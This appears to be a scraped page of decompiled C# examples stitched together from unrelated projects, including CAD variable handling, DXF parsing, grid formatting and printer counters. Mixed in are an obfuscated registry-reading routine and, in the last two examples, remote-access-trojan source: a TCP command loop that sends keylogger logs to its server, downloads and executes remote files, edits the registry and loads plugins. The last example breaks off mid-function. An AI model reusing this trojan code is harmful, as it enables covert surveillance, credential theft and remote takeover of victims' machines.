Ejemplo n.º 1
0
        internal bool FriendSetValue(object vvarValue, bool vblnRaiseEvent = true, ref string nrstrErrMsg = "")
        {
            nrstrErrMsg = null;
            bool      FriendSetValue = default(bool);
            AcadTable dobjAcadTable2;

            if (mobjSysVar.FriendCheckType(RuntimeHelpers.GetObjectValue(vvarValue), ref nrstrErrMsg))
            {
                vvarValue      = RuntimeHelpers.GetObjectValue(mobjSysVar.FriendConvertValue(RuntimeHelpers.GetObjectValue(vvarValue)));
                dobjAcadTable2 = InternGetTable();
                if (mobjSysVar.FriendCheckValue(RuntimeHelpers.GetObjectValue(vvarValue), dobjAcadTable2, ref nrstrErrMsg))
                {
                    bool dblnChanged = default(bool);
                    if (mvarValue == null)
                    {
                        dblnChanged = true;
                    }
                    else if ((VariantType.Array & VarType_Renamed) == VariantType.Array)
                    {
                        int num  = Information.LBound((Array)mvarValue);
                        int num2 = Information.UBound((Array)mvarValue);
                        for (int dlngIdx = num; dlngIdx <= num2; dlngIdx = checked (dlngIdx + 1))
                        {
                            if (!dblnChanged)
                            {
                                dblnChanged = Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(mvarValue, new object[1]
                                {
                                    dlngIdx
                                }, null), NewLateBinding.LateIndexGet(vvarValue, new object[1]
                                {
                                    dlngIdx
                                }, null), TextCompare: false);
                            }
                        }
                    }
                    else
                    {
                        dblnChanged = Operators.ConditionalCompareObjectNotEqual(mvarValue, vvarValue, TextCompare: false);
                    }
                    if (!dblnChanged)
                    {
                        FriendSetValue = true;
                    }
                    else
                    {
                        string name      = Name;
                        bool   dblnError = default(bool);
                        if (Operators.CompareString(name, "SDI", TextCompare: false) == 0 && Operators.ConditionalCompareObjectEqual(vvarValue, 1, TextCompare: false) && Application.Documents.Count > 1)
                        {
                            nrstrErrMsg = "Die SDI-Variable kann nur zurückgesetzt werden, wenn nicht mehr als eine Zeichnung geöffnet ist.";
                            dblnError   = true;
                        }
                        if (!dblnError)
                        {
                            bool dblnCancel = default(bool);
                            if (vblnRaiseEvent)
                            {
                                RaiseEventStartChange(RuntimeHelpers.GetObjectValue(vvarValue), ref dblnCancel);
                            }
                            if (dblnCancel)
                            {
                                nrstrErrMsg = "Interner Abbruch beim Setzen der Systemvariable.";
                            }
                            else
                            {
                                mvarValue       = RuntimeHelpers.GetObjectValue(vvarValue);
                                mstrValueString = Conversions.ToString(mobjSysVar.FriendStringValue(RuntimeHelpers.GetObjectValue(vvarValue)));
                                FriendSetValue  = true;
                                if (vblnRaiseEvent)
                                {
                                    RaiseEventEndChange(RuntimeHelpers.GetObjectValue(vvarValue));
                                }
                            }
                        }
                    }
                }
            }
            dobjAcadTable2 = null;
            return(FriendSetValue);
        }
Ejemplo n.º 2
0
        public void formatDGV(object dgv1)
        {
            NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv1, null, "Columns", new object[1]
            {
                0
            }, null, null, null), null, "visible", new object[1]
            {
                false
            }, null, null, false, true);
            NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv1, null, "Columns", new object[1]
            {
                1
            }, null, null, null), null, "Width", new object[1]
            {
                150
            }, null, null, false, true);
            NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv1, null, "Columns", new object[1]
            {
                2
            }, null, null, null), null, "Width", new object[1]
            {
                100
            }, null, null, false, true);
            NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv1, null, "Columns", new object[1]
            {
                3
            }, null, null, null), null, "Width", new object[1]
            {
                120
            }, null, null, false, true);
            object obj = null;
            int    num = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv1, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 1));

            for (int i = 0; i <= num; i = checked (i + 1))
            {
                if (i % 2 == 1)
                {
                    object[] obj2 = new object[1]
                    {
                        i
                    };
                    object[] array = obj2;
                    bool[]   obj3  = new bool[1]
                    {
                        true
                    };
                    bool[] array2   = obj3;
                    object instance = NewLateBinding.LateGet(dgv1, null, "Rows", obj2, null, null, obj3);
                    if (array2[0])
                    {
                        i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int));
                    }
                    NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1]
                    {
                        Color.LightBlue
                    }, null, null, false, true);
                }
                else
                {
                    object[] obj4 = new object[1]
                    {
                        i
                    };
                    object[] array = obj4;
                    bool[]   obj5  = new bool[1]
                    {
                        true
                    };
                    bool[] array2   = obj5;
                    object instance = NewLateBinding.LateGet(dgv1, null, "Rows", obj4, null, null, obj5);
                    if (array2[0])
                    {
                        i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int));
                    }
                    NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1]
                    {
                        Color.White
                    }, null, null, false, true);
                }
            }
        }
Ejemplo n.º 3
0
 public static bool BkDXFReadBas_Bracket(string vstrBracketName, object vvarGrpCodes, ref int rlngIdx, Dictionary <object, object> vobjDictReadCodes, Dictionary <object, object> vobjDictReadValues, ref Dictionary <object, object> robjDictBracket, ref string nrstrErrMsg)
 {
     nrstrErrMsg = null;
     robjDictBracket.Clear();
     checked
     {
         bool dblnError = default(bool);
         if (Operators.ConditionalCompareObjectEqual(vobjDictReadCodes[rlngIdx], 102, TextCompare: false))
         {
             if (Operators.ConditionalCompareObjectNotEqual(vobjDictReadValues[rlngIdx], vstrBracketName, TextCompare: false))
             {
                 nrstrErrMsg = "Ungültiger Anfang der Gruppe " + vstrBracketName + "} in Zeile " + Conversions.ToString(rlngIdx * 2 + 2) + ".";
                 dblnError   = true;
             }
             else
             {
                 rlngIdx++;
                 int dlngCode = Conversions.ToInteger(vobjDictReadCodes[rlngIdx]);
                 while (unchecked (dlngCode != 102 && !dblnError))
                 {
                     bool dblnFound = false;
                     int  num       = Information.LBound((Array)vvarGrpCodes);
                     int  num2      = Information.UBound((Array)vvarGrpCodes);
                     for (int dlngIndex = num; dlngIndex <= num2; dlngIndex++)
                     {
                         if (!dblnFound)
                         {
                             dblnFound = Operators.ConditionalCompareObjectEqual(dlngCode, NewLateBinding.LateIndexGet(vvarGrpCodes, new object[1]
                             {
                                 dlngIndex
                             }, null), TextCompare: false);
                         }
                     }
                     if (!dblnFound)
                     {
                         nrstrErrMsg = "Ungültiger Gruppencode für Gruppe " + vstrBracketName + "} in Zeile " + Conversions.ToString(rlngIdx * 2 + 1) + ".";
                         dblnError   = true;
                         continue;
                     }
                     try
                     {
                         robjDictBracket.Add(RuntimeHelpers.GetObjectValue(vobjDictReadValues[rlngIdx]), dlngCode);
                     }
                     catch (Exception ex2)
                     {
                         ProjectData.SetProjectError(ex2);
                         Exception ex = ex2;
                         nrstrErrMsg = "Ungültiger oder doppelter Wert für Gruppe " + vstrBracketName + "} in Zeile " + Conversions.ToString(rlngIdx * 2 + 2) + ".";
                         dblnError   = true;
                         ProjectData.ClearProjectError();
                     }
                     if (!dblnError)
                     {
                         rlngIdx++;
                         dlngCode = Conversions.ToInteger(vobjDictReadCodes[rlngIdx]);
                     }
                 }
                 if (!dblnError)
                 {
                     if (Operators.ConditionalCompareObjectNotEqual(vobjDictReadValues[rlngIdx], "}", TextCompare: false))
                     {
                         nrstrErrMsg = "Fehlende Endklammer für Gruppe " + vstrBracketName + "} in Zeile " + Conversions.ToString(rlngIdx * 2 + 2) + ".";
                         dblnError   = true;
                     }
                     else
                     {
                         rlngIdx++;
                     }
                 }
             }
         }
         return(!dblnError);
     }
 }
Ejemplo n.º 4
0
        public static string GetInformation()
        {
            string str = new string(char.MinValue, (int)byte.MaxValue);
            string strSize = "", strTot = "", strPrinted = "";

            object prgEnv1 = CyStat.PrgEnv;

            // ISSUE: variable of the null type
            System.Type local1      = null;
            string      MemberName1 = "GetCounterL";

            object[] objArray1 = new object[1]
            {
                (object)PortNumber
            };
            object[] Arguments1 = objArray1;
            // ISSUE: variable of the null type
            string[] local2 = null;
            // ISSUE: variable of the null type
            System.Type[] local3     = null;
            bool[]        flagArray1 = new bool[1] {
                true
            };
            bool[] CopyBack1 = flagArray1;
            object obj1      = NewLateBinding.LateGet(prgEnv1, (System.Type)local1, MemberName1, Arguments1, (string[])local2, (System.Type[])local3, CopyBack1);

            if (flagArray1[0])
            {
                PortNum = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof(int));
            }
            int integer1 = Conversions.ToInteger(obj1);

            strTot = integer1 < 0 ? "" : Convert.ToString((object)integer1);
            object prgEnv2 = CyStat.PrgEnv;

            // ISSUE: variable of the null type
            System.Type local4      = null;
            string      MemberName2 = "GetMedia";

            object[] objArray2 = new object[2]
            {
                (object)PortNum,
                (object)str
            };
            object[] Arguments2 = objArray2;
            // ISSUE: variable of the null type
            string[] local5 = null;
            // ISSUE: variable of the null type
            System.Type[] local6     = null;
            bool[]        flagArray2 = new bool[2] {
                true, true
            };
            bool[] CopyBack2 = flagArray2;
            object obj2      = NewLateBinding.LateGet(prgEnv2, (System.Type)local4, MemberName2, Arguments2, (string[])local5, (System.Type[])local6, CopyBack2);

            if (flagArray2[0])
            {
                PortNum = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof(int));
            }
            if (flagArray2[1])
            {
                str = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[1]), typeof(string));
            }
            int m = 0;

            if (Conversions.ToInteger(obj2) >= 0)
            {
                m       = checked ((int)Math.Round(Conversion.Val(str.Substring(2, 3))));
                strSize = GetMediaName(m);
            }
            else
            {
                strSize = "";
            }
            if ((m >= 200) & (m <= 510))
            {
                object prgEnv3 = CyStat.PrgEnv;
                // ISSUE: variable of the null type
                System.Type local7      = null;
                string      MemberName3 = "GetMediaCountOffset";
                object[]    objArray3   = new object[1]
                {
                    (object)PortNum
                };
                object[] Arguments3 = objArray3;
                // ISSUE: variable of the null type
                string[] local8 = null;
                // ISSUE: variable of the null type
                System.Type[] local9     = null;
                bool[]        flagArray3 = new bool[1] {
                    true
                };
                bool[] CopyBack3 = flagArray3;
                object obj3      = NewLateBinding.LateGet(prgEnv3, (System.Type)local7, MemberName3, Arguments3, (string[])local8, (System.Type[])local9, CopyBack3);
                if (flagArray3[0])
                {
                    PortNum = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray3[0]), typeof(int));
                }
                int num = Conversions.ToInteger(obj3);
                if (num <= -1)
                {
                    num = 50;
                }
                object prgEnv4 = CyStat.PrgEnv;
                // ISSUE: variable of the null type
                System.Type local10     = null;
                string      MemberName4 = "GetMediaCounter";
                object[]    objArray4   = new object[1]
                {
                    (object)PortNum
                };
                object[] Arguments4 = objArray4;
                // ISSUE: variable of the null type
                string[] local11 = null;
                // ISSUE: variable of the null type
                System.Type[] local12    = null;
                bool[]        flagArray4 = new bool[1] {
                    true
                };
                bool[] CopyBack4 = flagArray4;
                object obj4      = NewLateBinding.LateGet(prgEnv4, (System.Type)local10, MemberName4, Arguments4, (string[])local11, (System.Type[])local12, CopyBack4);
                if (flagArray4[0])
                {
                    PortNum = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray4[0]), typeof(int));
                }
                int integer2 = Conversions.ToInteger(obj4);
                strPrinted = integer2 < 0 ? "" : Convert.ToString((object)(integer2 < num ? 0 : checked (integer2 - num)));

                object prgEnv5 = CyStat.PrgEnv;
                // ISSUE: variable of the null type
                System.Type local13     = null;
                string      MemberName5 = "GetInitialMediaCount";
                object[]    objArray5   = new object[1]
                {
                    (object)PortNum
                };
                object[] Arguments5 = objArray5;
                // ISSUE: variable of the null type
                string[] local14 = null;
                // ISSUE: variable of the null type
                System.Type[] local15    = null;
                bool[]        flagArray5 = new bool[1] {
                    true
                };
                bool[] CopyBack5 = flagArray5;
                object obj5      = NewLateBinding.LateGet(prgEnv5, (System.Type)local13, MemberName5, Arguments5, (string[])local14, (System.Type[])local15, CopyBack5);
                if (flagArray5[0])
                {
                    PortNum = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray5[0]), typeof(int));
                }
                int integer3 = Conversions.ToInteger(obj5);
                strTot = integer3 < num ? "---" : Conversion.Str((object)checked (integer3 - num));
            }
            else
            {
                strSize = "";
                strTot  = "";
            }

            return(strSize + "," + strTot + "," + strPrinted);
        }
Ejemplo n.º 5
0
        internal object FriendGetMinMaxCoords()
        {
            object   dvarItems     = RuntimeHelpers.GetObjectValue(hwpDxf_Functions.BkDXF_ValueCollectionToArray(mobjDictEntities.Values));
            int      num           = Information.LBound((Array)dvarItems);
            int      num2          = Information.UBound((Array)dvarItems);
            bool     dblnFirst     = default(bool);
            object   dvarMaxCoordX = default(object);
            object   dvarMaxCoordY = default(object);
            object   dvarMinCoordX = default(object);
            object   dvarMinCoordY = default(object);
            AcadLine dobjObject    = default(AcadLine);

            for (int dlngIdx = num; dlngIdx <= num2; dlngIdx = checked (dlngIdx + 1))
            {
                double ddblCurObjectID = Conversions.ToDouble(NewLateBinding.LateIndexGet(dvarItems, new object[1]
                {
                    dlngIdx
                }, null));
                AcadDatabase database       = Database;
                AcadObject   robjAcadObject = dobjObject;
                string       nrstrErrMsg    = "";
                database.FriendObjectIdToObject(ddblCurObjectID, ref robjAcadObject, ref nrstrErrMsg);
                dobjObject = (AcadLine)robjAcadObject;
                object dvarMinMaxCoords = RuntimeHelpers.GetObjectValue(dobjObject.MinMaxCoords);
                if (dvarMinMaxCoords == null)
                {
                    continue;
                }
                if (!dblnFirst)
                {
                    dvarMaxCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        0
                    }, null));
                    dvarMaxCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        1
                    }, null));
                    dvarMinCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        2
                    }, null));
                    dvarMinCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        3
                    }, null));
                    dblnFirst = true;
                    continue;
                }
                if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    0
                }, null), dvarMaxCoordX, TextCompare: false))
                {
                    dvarMaxCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        0
                    }, null));
                }
                if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    1
                }, null), dvarMaxCoordY, TextCompare: false))
                {
                    dvarMaxCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        1
                    }, null));
                }
                if (Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    2
                }, null), dvarMinCoordX, TextCompare: false))
                {
                    dvarMinCoordX = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        2
                    }, null));
                }
                if (Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                {
                    3
                }, null), dvarMinCoordY, TextCompare: false))
                {
                    dvarMinCoordY = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(dvarMinMaxCoords, new object[1]
                    {
                        3
                    }, null));
                }
            }
            object FriendGetMinMaxCoords = (!dblnFirst) ? null : new object[4]
            {
                dvarMaxCoordX,
                dvarMaxCoordY,
                dvarMinCoordX,
                dvarMinCoordY
            };

            dobjObject = null;
            return(FriendGetMinMaxCoords);
        }
Ejemplo n.º 6
0
	// Token: 0x06000190 RID: 400 RVA: 0x00033C00 File Offset: 0x00031E00
	public static string luz(string lvy)
	{
		string text;
		int num4;
		int num5;
		object obj;
		try
		{
			for (;;)
			{
				IL_00:
				int num = 1;
				object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(<Module>.smethod_strings_decryptor(304664 -> "WScript.Shell")), ""));
				for (;;)
				{
					IL_13E:
					uint num2 = 3040044305u;
					for (;;)
					{
						uint num3;
						switch ((num3 = (num2 ^ 3968014358u)) % 11u)
						{
						case 0u:
							goto IL_152;
						case 1u:
							goto IL_7C;
						case 2u:
							goto IL_70;
						case 4u:
						{
							object instance = objectValue;
							Type type = null;
							string memberName = <Module>.smethod_strings_decryptor(304224 -> "RegRead"));
							object[] array = new object[]
							{
								lvy
							};
							object[] arguments = array;
							string[] argumentNames = null;
							Type[] typeArguments = null;
							bool[] array2 = new bool[]
							{
								true
							};
							object value = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array2);
							if (array2[0])
							{
								lvy = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(string));
							}
							text = Conversions.ToString(value);
							num2 = 3193670253u;
							continue;
						}
						case 5u:
							goto IL_13E;
						case 6u:
							IL_145:
							num4 = num;
							num2 = 3464943127u;
							continue;
						case 7u:
							goto IL_46;
						case 8u:
							num5 = 1;
							num2 = (num3 * 2051545371u ^ 1263723819u);
							continue;
						case 9u:
							switch (num5)
							{
							case 0:
								break;
							case 1:
								goto IL_46;
							default:
								num2 = (num3 * 3833207169u ^ 1740464875u);
								continue;
							}
							break;
						}
						goto Block_5;
						IL_46:
						int num6 = num4 + 1;
						num4 = 0;
						switch (num6)
						{
						case 0:
							goto IL_154;
						case 1:
							goto IL_00;
						case 2:
							IL_70:
							ProjectData.ClearProjectError();
							num2 = 4148705851u;
							break;
						case 3:
							IL_7C:
							num = 3;
							num2 = 3798194993u;
							break;
						case 4:
							goto IL_152;
						default:
							num2 = 2627601005u;
							break;
						}
					}
				}
			}
			Block_5:
			goto IL_178;
			IL_152:
			goto IL_183;
			IL_154:;
		}
		catch when (endfilter(obj is Exception & num5 != 0 & num4 == 0))
		{
			Exception ex = (Exception)obj2;
			goto IL_145;
		}
		IL_178:
		throw ProjectData.CreateProjectError(-2146828237);
		IL_183:
		string result = text;
		if (num4 != 0)
		{
			ProjectData.ClearProjectError();
		}
		return result;
	}
Ejemplo n.º 7
0
 private void formatdgv(object dgv2)
 {
     if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 0, false))
     {
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             0
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Fournisseur"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             1
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Réf. Article"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             2
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Lib. Article"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             3
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Qté"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             4
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Prix U."
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             5
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Date entrée"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             6
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Stock avant"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             7
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Stock après"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             8
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Type entrée"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             0
         }, null, null, null), null, "Width", new object[1]
         {
             120
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             1
         }, null, null, null), null, "Width", new object[1]
         {
             140
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             2
         }, null, null, null), null, "Width", new object[1]
         {
             160
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             3
         }, null, null, null), null, "Width", new object[1]
         {
             100
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             4
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             5
         }, null, null, null), null, "Width", new object[1]
         {
             120
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             6
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             7
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             8
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         object obj = null;
         int    num = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 1));
         for (int i = 0; i <= num; i = checked (i + 1))
         {
             if (i % 2 == 1)
             {
                 object[] obj2 = new object[1]
                 {
                     i
                 };
                 object[] array = obj2;
                 bool[]   obj3  = new bool[1]
                 {
                     true
                 };
                 bool[] array2   = obj3;
                 object instance = NewLateBinding.LateGet(dgv2, null, "Rows", obj2, null, null, obj3);
                 if (array2[0])
                 {
                     i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int));
                 }
                 NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1]
                 {
                     Color.LightBlue
                 }, null, null, false, true);
             }
             else
             {
                 object[] obj4 = new object[1]
                 {
                     i
                 };
                 object[] array = obj4;
                 bool[]   obj5  = new bool[1]
                 {
                     true
                 };
                 bool[] array2   = obj5;
                 object instance = NewLateBinding.LateGet(dgv2, null, "Rows", obj4, null, null, obj5);
                 if (array2[0])
                 {
                     i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int));
                 }
                 NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1]
                 {
                     Color.White
                 }, null, null, false, true);
             }
         }
     }
 }
Ejemplo n.º 8
0
        public static void Receive()
        {
            checked
            {
                while (true)
                {
                    lastCapturedImage = "";
                    if (tcpSocket != null)
                    {
                        long num  = -1L;
                        int  num2 = 0;
                        try
                        {
                            while (true)
                            {
IL_1B:
                                num2++;
                                if (num2 == 10)
                                {
                                    num2 = 0;
                                    Thread.Sleep(1);
                                }
                                if (!isConnected)
                                {
                                    break;
                                }
                                if (tcpSocket.Available < 1)
                                {
                                    tcpSocket.Client.Poll(-1, SelectMode.SelectRead);
                                }
                                while (tcpSocket.Available != 0)
                                {
                                    if (num != -1L)
                                    {
                                        bytesArray = new byte[tcpSocket.Available + 1];
                                        long num3 = num - memoryStream.Length;
                                        if (unchecked ((long)bytesArray.Length) > num3)
                                        {
                                            bytesArray = new byte[(int)(num3 - 1L) + 1];
                                        }
                                        int count = tcpSocket.Client.Receive(bytesArray, 0, bytesArray.Length, SocketFlags.None);
                                        memoryStream.Write(bytesArray, 0, count);
                                        if (memoryStream.Length == num)
                                        {
                                            num = -1L;
                                            Thread thread = new Thread(delegate(object a0)
                                            {
                                                HandleData((byte[])a0);
                                            }, 1);
                                            thread.Start(memoryStream.ToArray());
                                            thread.Join(100);
                                            memoryStream.Dispose();
                                            memoryStream = new MemoryStream();
                                        }
                                        goto IL_1B;
                                    }
                                    string text = "";
                                    while (true)
                                    {
                                        int num4 = tcpSocket.GetStream().ReadByte();
                                        if (num4 == -1)
                                        {
                                            goto Block_9;
                                        }
                                        if (num4 == 0)
                                        {
                                            break;
                                        }
                                        text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num4).ToString()));
                                    }
                                    num = Conversions.ToLong(text);
                                    if (num == 0L)
                                    {
                                        Send("");
                                        num = -1L;
                                    }
                                    if (tcpSocket.Available <= 0)
                                    {
                                        goto IL_1B;
                                    }
                                }
                                break;
                            }
                            Block_9 :;
                        }
                        catch { }
                    }
                    do
                    {
                        try
                        {
                            if (currentPlugin != null)
                            {
                                NewLateBinding.LateCall(currentPlugin, null, "clear", new object[0], null, null, null, true);
                                currentPlugin = null;
                            }
                        }
                        catch { }
                        isConnected = false;
                    }while (!Connect());
                    isConnected = true;
                }
            }
        }
Ejemplo n.º 9
0
        public static void HandleData(byte[] b)
        {
            string[] array = Strings.Split(BytesToString(ref b), splitter, -1, CompareMethod.Binary);
            checked
            {
                try
                {
                    string left = array[0];
                    if (Operators.CompareString(left, "ll", false) == 0)
                    {
                        isConnected = false;
                    }
                    else if (Operators.CompareString(left, "kl", false) == 0)
                    {
                        Send("kl" + splitter + StringToBase64(ref keylogger.Logs));
                    }
                    else if (Operators.CompareString(left, "prof", false) == 0)
                    {
                        string left2 = array[1];
                        if (Operators.CompareString(left2, "~", false) == 0)
                        {
                            SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String);
                        }
                        else if (Operators.CompareString(left2, "!", false) == 0)
                        {
                            SaveValueOnRegistry(array[2], array[3], RegistryValueKind.String);
                            Send(Conversions.ToString(Operators.ConcatenateObject("getvalue" + splitter + array[1] + splitter, GetValueFromRegistry(array[1], ""))));
                        }
                        else if (Operators.CompareString(left2, "@", false) == 0)
                        {
                            DeleteValueFromRegistry(array[2]);
                        }
                    }
                    else
                    {
                        if (Operators.CompareString(left, "rn", false) == 0)
                        {
                            byte[] bytes;
                            if (array[2][0] == '\u001f')
                            {
                                try
                                {
                                    MemoryStream memoryStream = new MemoryStream();
                                    int          length       = (array[0] + splitter + array[1] + splitter).Length;
                                    memoryStream.Write(b, length, b.Length - length);
                                    bytes = DecompressGzip(memoryStream.ToArray());
                                    goto IL_20B;
                                }
                                catch
                                {
                                    Send("MSG" + splitter + "Execute ERROR");
                                    Send("bla");
                                    return;
                                }
                            }
                            WebClient webClient = new WebClient();
                            try
                            {
                                bytes = webClient.DownloadData(array[2]);
                            }
                            catch
                            {
                                Send("MSG" + splitter + "Download ERROR");
                                Send("bla");
                                return;
                            }
IL_20B:
                            Send("bla");
                            string text = Path.GetTempFileName() + "." + array[1];
                            try
                            {
                                File.WriteAllBytes(text, bytes);
                                Process.Start(text);
                                Send("MSG" + splitter + "Executed As " + new FileInfo(text).Name);
                                return;
                            }
                            catch (Exception ex)
                            {
                                Send("MSG" + splitter + "Execute ERROR " + ex.Message);
                                ProjectData.ClearProjectError();
                                return;
                            }
                        }
                        if (Operators.CompareString(left, "inv", false) == 0)
                        {
                            byte[] array2 = (byte[])GetValueFromRegistry(array[1], new byte[0]);
                            if (array[3].Length < 10 & array2.Length == 0)
                            {
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(1)
                                }));
                            }
                            else
                            {
                                if (array[3].Length > 10)
                                {
                                    MemoryStream memoryStream2 = new MemoryStream();
                                    int          length2       = string.Concat(new string[]
                                    {
                                        array[0],
                                        splitter,
                                        array[1],
                                        splitter,
                                        array[2],
                                        splitter
                                    }).Length;
                                    memoryStream2.Write(b, length2, b.Length - length2);
                                    array2 = DecompressGzip(memoryStream2.ToArray());
                                    SaveValueOnRegistry(array[1], array2, RegistryValueKind.Binary);
                                }
                                Send(string.Concat(new string[]
                                {
                                    "pl",
                                    splitter,
                                    array[1],
                                    splitter,
                                    Conversions.ToString(0)
                                }));
                                object objectValue = RuntimeHelpers.GetObjectValue(Plugin(array2, "A"));
                                NewLateBinding.LateSet(objectValue, null, "h", new object[]
                                {
                                    host
                                }, null, null);
                                NewLateBinding.LateSet(objectValue, null, "p", new object[]
                                {
                                    port
                                }, null, null);
